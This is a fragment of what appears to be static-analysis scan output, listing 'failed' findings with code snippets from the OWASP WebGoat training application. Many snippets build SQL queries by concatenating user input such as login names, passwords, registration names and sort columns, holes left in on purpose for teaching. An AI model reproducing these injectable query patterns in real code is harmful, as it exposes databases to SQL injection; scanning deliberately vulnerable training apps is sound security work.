Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            String query = \"SELECT * FROM user_data\";\n\n            try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 54, EndLine: 60\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n                HashMap<Integer,HashMap> allUsersMap = new HashMap();\n\n                if ((results != null) && (results.first() == true)) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 57, EndLine: 63\nCode:\nResultSet results = statement.executeQuery(query);\n                HashMap<Integer,HashMap> allUsersMap = new HashMap();\n\n                if ((results != null) && (results.first() == true)) {\n                    ResultSetMetaData resultsMetaData = results.getMetaData();\n                    StringBuffer output = new StringBuffer();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 98, EndLine: 104\nCode:\n} finally {\n                try {\n                    if (connection != null) {\n                        connection.close();\n                    }\n                } catch (SQLException sqle) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 82, EndLine: 88\nCode:\nput(\"err\",sqle.getErrorCode() + \"::\" + sqle.getMessage());\n                }};\n\n                return new HashMap<Integer,HashMap>() {{\n                    put(0,errMap);\n                }};\n            } catch (Exception e) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 76, EndLine: 82\nCode:\nreturn allUsersMap;\n\n                }\n            } catch (SQLException sqle) {\n                sqle.printStackTrace();\n                HashMap<String,String> errMap = new HashMap() {{\n                    put(\"err\",sqle.getErrorCode() + \"::\" + sqle.getMessage());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 106, EndLine: 112\nCode:\n}\n            }\n\n        } catch (Exception e) {\n            e.printStackTrace();\n            HashMap<String,String> errMap = new HashMap() {{\n                put(\"err\",e.getMessage() + \"::\" + e.getCause());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/Users.java\nStartLine: 73, EndLine: 79\nCode:\nallUsersMap.put(id,userMap);\n                    }\n                    userSessionData.setValue(\"allUsers\",allUsersMap);\n                    return allUsersMap;\n\n                }\n            } catch (SQLException sqle) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 54, EndLine: 60\nCode:\n@PostMapping(\"/challenge/5\")\n    @ResponseBody\n    public AttackResult login(@RequestParam String username_login, @RequestParam String password_login) throws Exception {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        checkDatabase(connection);\n\n        if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 57, EndLine: 63\nCode:\nConnection connection = DatabaseUtilities.getConnection(webSession);\n        checkDatabase(connection);\n\n        if (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {\n            return failed().feedback(\"required4\").build();\n        }\n        if (!\"Larry\".equals(username_login)) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 60, EndLine: 66\nCode:\nif (!StringUtils.hasText(username_login) || !StringUtils.hasText(password_login)) {\n            return failed().feedback(\"required4\").build();\n        }\n        if (!\"Larry\".equals(username_login)) {\n            return failed().feedback(\"user.not.larry\").feedbackArgs(username_login).build();\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 65, EndLine: 71\nCode:\n}\n\n        PreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = '\" + username_login + \"' and password = '\" + password_login + \"'\");\n        ResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next()) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 67, EndLine: 73\nCode:\nPreparedStatement statement = connection.prepareStatement(\"select password from \" + USERS_TABLE_NAME + \" where userid = '\" + username_login + \"' and password = '\" + password_login + \"'\");\n        ResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next()) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 68, EndLine: 74\nCode:\nResultSet resultSet = statement.executeQuery();\n\n        if (resultSet.next()) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge5/Assignment5.java\nStartLine: 70, EndLine: 76\nCode:\nif (resultSet.next()) {\n            return success().feedback(\"challenge.solved\").feedbackArgs(Flag.FLAGS.get(5)).build();\n        } else {\n            return failed().feedback(\"challenge.close\").build();\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 64, EndLine: 70\nCode:\npublic AttackResult registerNewUser(@RequestParam String username_reg, @RequestParam String email_reg, @RequestParam String password_reg) throws Exception {\n        AttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);\n\n        if (attackResult == null) {\n            Connection connection = DatabaseUtilities.getConnection(webSession);\n            checkDatabase(connection);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 65, EndLine: 71\nCode:\nAttackResult attackResult = checkArguments(username_reg, email_reg, password_reg);\n\n        if (attackResult == null) {\n            Connection connection = DatabaseUtilities.getConnection(webSession);\n            checkDatabase(connection);\n\n            try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 71, EndLine: 77\nCode:\ntry {\n                String checkUserQuery = \"select userid from \" + USERS_TABLE_NAME + \" where userid = '\" + username_reg + \"'\";\n                Statement statement = connection.createStatement();\n                ResultSet resultSet = statement.executeQuery(checkUserQuery);\n\n                if (resultSet.next()) {\n                \tif (username_reg.contains(\"tom'\")) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 87, EndLine: 93\nCode:\npreparedStatement.execute();\n                    attackResult = success().feedback(\"user.created\").feedbackArgs(username_reg).build();\n                }\n            } catch(SQLException e) {\n                attackResult = failed().output(\"Something went wrong\").build();\n            }\n            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 90, EndLine: 96\nCode:\n} catch(SQLException e) {\n                attackResult = failed().output(\"Something went wrong\").build();\n            }\n            }\n            return attackResult;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 52, EndLine: 58\nCode:\nString query = \"SELECT * FROM employees WHERE last_name = '\" + name + \"' AND auth_tan = '\" + auth_tan + \"'\";\n\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 57, EndLine: 63\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);\n                SqlInjectionLesson8.log(connection, query);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 59, EndLine: 65\nCode:\nSqlInjectionLesson8.log(connection, query);\n                ResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {\n                        output.append(SqlInjectionLesson8.generateTable(results));\n                    } else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 70, EndLine: 76\nCode:\n}\n            } catch (SQLException e) {\n                System.err.println(e.getMessage());\n                return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n            }\n\n            return checkSalaryRanking(connection, output);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 68, EndLine: 74\nCode:\n}\n\n                }\n            } catch (SQLException e) {\n                System.err.println(e.getMessage());\n                return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 73, EndLine: 79\nCode:\nreturn trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n            }\n\n            return checkSalaryRanking(connection, output);\n\n        } catch (Exception e) {\n            System.err.println(e.getMessage());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 60, EndLine: 66\nCode:\nResultSet results = statement.executeQuery(query);\n\n                if (results.getStatement() != null) {\n                    if (results.first()) {\n                        output.append(SqlInjectionLesson8.generateTable(results));\n                    } else {\n                        // no results","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 64, EndLine: 70\nCode:\noutput.append(SqlInjectionLesson8.generateTable(results));\n                    } else {\n                        // no results\n                        return trackProgress(failed().feedback(\"sql-injection.8.no.results\").build());\n                    }\n\n                }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 46, EndLine: 52\nCode:\nprotected AttackResult injectableQuery(String _query) {\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            try {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 53, EndLine: 59\nCode:\nStatement check_statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                statement.executeUpdate(_query);\n                ResultSet _results = check_statement.executeQuery(\"SELECT phone from employees;\");\n                ResultSetMetaData _resultMetaData = _results.getMetaData();\n                StringBuffer output = new StringBuffer();\n                // user completes lesson if column phone exists","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 54, EndLine: 60\nCode:\nResultSet.CONCUR_READ_ONLY);\n                statement.executeUpdate(_query);\n                ResultSet _results = check_statement.executeQuery(\"SELECT phone from employees;\");\n                ResultSetMetaData _resultMetaData = _results.getMetaData();\n                StringBuffer output = new StringBuffer();\n                // user completes lesson if column phone exists\n                if (_results.first()) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 66, EndLine: 72\nCode:\n} catch (SQLException sqle) {\n\n                return trackProgress(failed().output(sqle.getMessage()).build());\n            }\n        } catch (Exception e) {\n            return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage()).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 57, EndLine: 63\nCode:\nResultSetMetaData _resultMetaData = _results.getMetaData();\n                StringBuffer output = new StringBuffer();\n                // user completes lesson if column phone exists\n                if (_results.first()) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    return trackProgress(success().output(output.toString()).build());\n                } else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 59, EndLine: 65\nCode:\n// user completes lesson if column phone exists\n                if (_results.first()) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    return trackProgress(success().output(output.toString()).build());\n                } else {\n                    return trackProgress(failed().output(output.toString()).build());\n                }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson4.java\nStartLine: 61, EndLine: 67\nCode:\noutput.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");\n                    return trackProgress(success().output(output.toString()).build());\n                } else {\n                    return trackProgress(failed().output(output.toString()).build());\n                }\n\n            } catch (SQLException sqle) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java\nStartLine: 53, EndLine: 59\nCode:\nString password = \"dave\";\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            String query = \"SELECT password FROM user_system_data WHERE user_name = 'dave'\";\n\n            try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java\nStartLine: 59, EndLine: 65\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n\n                if ((results != null) && (results.first() == true)) {\n                    password = results.getString(\"password\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java\nStartLine: 61, EndLine: 67\nCode:\nResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(query);\n\n                if ((results != null) && (results.first() == true)) {\n                    password = results.getString(\"password\");\n                }\n            } catch (SQLException sqle) {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java\nStartLine: 64, EndLine: 70\nCode:\nif ((results != null) && (results.first() == true)) {\n                    password = results.getString(\"password\");\n                }\n            } catch (SQLException sqle) {\n                sqle.printStackTrace();\n                // do nothing\n            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionLesson6b.java\nStartLine: 68, EndLine: 74\nCode:\nsqle.printStackTrace();\n                // do nothing\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n            // do nothing\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 64, EndLine: 70\nCode:\n@SneakyThrows\n    @ResponseBody\n    public List<Server> sort(@RequestParam String column) {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        PreparedStatement preparedStatement = connection.prepareStatement(\"select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by \" + column);\n        ResultSet rs = preparedStatement.executeQuery();\n        List<Server> servers = Lists.newArrayList();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 66, EndLine: 72\nCode:\npublic List<Server> sort(@RequestParam String column) {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        PreparedStatement preparedStatement = connection.prepareStatement(\"select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by \" + column);\n        ResultSet rs = preparedStatement.executeQuery();\n        List<Server> servers = Lists.newArrayList();\n        while (rs.next()) {\n            Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 68, EndLine: 74\nCode:\nPreparedStatement preparedStatement = connection.prepareStatement(\"select id, hostname, ip, mac, status, description from servers  where status <> 'out of order' order by \" + column);\n        ResultSet rs = preparedStatement.executeQuery();\n        List<Server> servers = Lists.newArrayList();\n        while (rs.next()) {\n            Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));\n            servers.add(server);\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 72, EndLine: 78\nCode:\nServer server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));\n            servers.add(server);\n        }\n        return servers;\n    }\n\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/Servers.java\nStartLine: 69, EndLine: 75\nCode:\nResultSet rs = preparedStatement.executeQuery();\n        List<Server> servers = Lists.newArrayList();\n        while (rs.next()) {\n            Server server = new Server(rs.getString(1), rs.getString(2), rs.getString(3), rs.getString(4), rs.getString(5), rs.getString(6));\n            servers.add(server);\n        }\n        return servers;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12a.java\nStartLine: 55, EndLine: 61\nCode:\n@ResponseBody\n    @SneakyThrows\n    public AttackResult completed(@RequestParam String ip) {\n        Connection connection = DatabaseUtilities.getConnection(webSession);\n        PreparedStatement preparedStatement = connection.prepareStatement(\"select ip from servers where ip = ? and hostname = ?\");\n        preparedStatement.setString(1, ip);\n        preparedStatement.setString(2, \"webgoat-prd\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12a.java\nStartLine: 59, EndLine: 65\nCode:\nPreparedStatement preparedStatement = connection.prepareStatement(\"select ip from servers where ip = ? and hostname = ?\");\n        preparedStatement.setString(1, ip);\n        preparedStatement.setString(2, \"webgoat-prd\");\n        ResultSet resultSet = preparedStatement.executeQuery();\n        if (resultSet.next()) {\n            return trackProgress(success().build());\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12a.java\nStartLine: 60, EndLine: 66\nCode:\npreparedStatement.setString(1, ip);\n        preparedStatement.setString(2, \"webgoat-prd\");\n        ResultSet resultSet = preparedStatement.executeQuery();\n        if (resultSet.next()) {\n            return trackProgress(success().build());\n        }\n        return trackProgress(failed().build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12a.java\nStartLine: 63, EndLine: 68\nCode:\nif (resultSet.next()) {\n            return trackProgress(success().build());\n        }\n        return trackProgress(failed().build());\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/mitigation/SqlInjectionLesson12a.java\nStartLine: 61, EndLine: 67\nCode:\npreparedStatement.setString(2, \"webgoat-prd\");\n        ResultSet resultSet = preparedStatement.executeQuery();\n        if (resultSet.next()) {\n            return trackProgress(success().build());\n        }\n        return trackProgress(failed().build());\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 47, EndLine: 53\nCode:\nprotected AttackResult injectableQuery(String login_count, String accountName) {\n    String queryString = \"SELECT * From user_data WHERE Login_Count = ? and userid= \" + accountName;\n    try {\n      Connection connection = DatabaseUtilities.getConnection(getWebSession());\n      PreparedStatement query = connection.prepareStatement(queryString, ResultSet.TYPE_SCROLL_INSENSITIVE,\n              ResultSet.CONCUR_READ_ONLY);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 64, EndLine: 70\nCode:\ntry {\n        Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                ResultSet.CONCUR_READ_ONLY);\n        ResultSet results = query.executeQuery();\n\n        if ((results != null) && (results.first() == true)) {\n          ResultSetMetaData resultsMetaData = results.getMetaData();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 66, EndLine: 72\nCode:\nResultSet.CONCUR_READ_ONLY);\n        ResultSet results = query.executeQuery();\n\n        if ((results != null) && (results.first() == true)) {\n          ResultSetMetaData resultsMetaData = results.getMetaData();\n          StringBuffer output = new StringBuffer();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 87, EndLine: 93\nCode:\n}\n      } catch (SQLException sqle) {\n\n        return trackProgress(failed().output(sqle.getMessage() + \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());\n      }\n    } catch (Exception e) {\n      return trackProgress(failed().output(this.getClass().getName() + \" : \" + e.getMessage() + \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 81, EndLine: 87\nCode:\n}\n\n        } else {\n          return trackProgress(failed().feedback(\"sql-injection.5b.no.results\").output(\"Your query was: \" + queryString.replace(\"?\", login_count)).build());\n\n//                    output.append(getLabelManager().get(\"NoResultsMatched\"));\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 74, EndLine: 80\nCode:\nresults.last();\n\n          // If they get back more than one user they succeeded\n          if (results.getRow() >= 6) {\n            return trackProgress(success().feedback(\"sql-injection.5b.success\").output(\"Your query was: \" + queryString.replace(\"?\", login_count)).feedbackArgs(output.toString()).build());\n          } else {\n            return trackProgress(failed().output(output.toString() + \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 75, EndLine: 81\nCode:\n// If they get back more than one user they succeeded\n          if (results.getRow() >= 6) {\n            return trackProgress(success().feedback(\"sql-injection.5b.success\").output(\"Your query was: \" + queryString.replace(\"?\", login_count)).feedbackArgs(output.toString()).build());\n          } else {\n            return trackProgress(failed().output(output.toString() + \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());\n          }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson5b.java\nStartLine: 77, EndLine: 83\nCode:\nif (results.getRow() >= 6) {\n            return trackProgress(success().feedback(\"sql-injection.5b.success\").output(\"Your query was: \" + queryString.replace(\"?\", login_count)).feedbackArgs(output.toString()).build());\n          } else {\n            return trackProgress(failed().output(output.toString() + \"<br> Your query was: \" + queryString.replace(\"?\", login_count)).build());\n          }\n\n        } else {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 44, EndLine: 50\nCode:\nprotected AttackResult injectableQuery(String _query) {\n        try {\n            Connection connection = DatabaseUtilities.getConnection(getWebSession());\n            String query = _query;\n\n            try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 50, EndLine: 56\nCode:\ntry {\n                Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,\n                        ResultSet.CONCUR_READ_ONLY);\n                ResultSet results = statement.executeQuery(_query);\n                StringBuffer output = new StringBuffer();\n\n                results.first();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 53, EndLine: 59\nCode:\nResultSet results = statement.executeQuery(_query);\n                StringBuffer output = new StringBuffer();\n\n                results.first();\n\n                if (results.getString(\"department\").equals(\"Marketing\")) {\n                    output.append(\"<span class='feedback-positive'>\" + _query + \"</span>\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson2.java\nStartLine: 65, EndLine: 71\nCode:\n} catch (SQLException sqle) {\n\n                return trackProgress(failed().feedback(\"sql-injection.2.failed\").output(sqle.getMessage()).build());\n            }\n        } catch (Exception e) {\n            return trackProgress(failed().output(this.getClass().getName() + \" : \" + 